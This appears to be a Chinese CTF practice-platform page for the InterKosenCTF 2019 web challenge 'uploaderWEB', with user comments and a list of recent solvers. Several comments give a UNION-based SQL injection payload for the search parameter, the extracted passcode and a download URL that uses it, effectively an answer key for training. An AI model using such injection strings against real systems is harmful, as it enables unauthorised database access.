uploaderWEB 未解决

分数: 0 金币: 0
所属赛事: InterKosenCTF 2019
题目作者: 未知
一  血: dai
一血奖励: 0金币
解  决: 188
提  示:
描  述:
KosenCTF{}
评论
pks0 12月前

好家伙union select passcode from files where name = 'secret_file'-- 然后搜索secret_file输入密码the_longer_the_stronger_than_more_complicated

回复 0

smtall 1年前

search 参数注入

回复 0

MoCaser 1年前

1') union select passcode from files where name = 'secret_file'-- 不知道为什么要在1'后面加反括号的直接复制search部分源码到deepseek

回复 0

wcsndm 2年前

在关键搜索处sql注入联合查询出密码,输入密码后下载文件

回复 0

Detection5843 2年前

the_longer_the_stronger_than_more_complicated_passwords???

回复 0
18640029540 1年前

你尝试下载一下这个文件,地址是:http://靶机地址/?download=secret_file&passcode=the_longer_the_stronger_than_more_complicated

回复 0

.⎛⎝•̀ω•́⎠⎞. 2年前

sqlmap一把梭

回复 1
倦鸟叫了一整天 1年前

怎么做呀

回复 0

vchopin 2年前

SQL注入:sec') union select passcode from files WHERE name='secret_file'--

回复 0

chaoge 2年前

看似复杂,其实很简单

回复 1

WriteUp

image
enderman

1 金币

评分(0)

暂无评分

解题动态

bugbiubiubiu 攻破了该题 5天前
denglonghua 攻破了该题 9天前
大头儿子头不大 攻破了该题 16天前
Jay. 攻破了该题 18天前
Redlover 攻破了该题 27天前
yezaojun 攻破了该题 1月前
Dxmax 攻破了该题 1月前
i8vkmmju 攻破了该题 1月前
pinus 攻破了该题 1月前
时间不会说谎 攻破了该题 1月前
xiaodou 攻破了该题 1月前
jibabenba 攻破了该题 1月前
hell0-hnc 攻破了该题 1月前
Yan123 攻破了该题 1月前
2790819062 攻破了该题 1月前
caixinggang 攻破了该题 1月前
Yuelan 攻破了该题 1月前
AITester 攻破了该题 1月前
nihao123@ 攻破了该题 1月前
zant 攻破了该题 1月前
问题反馈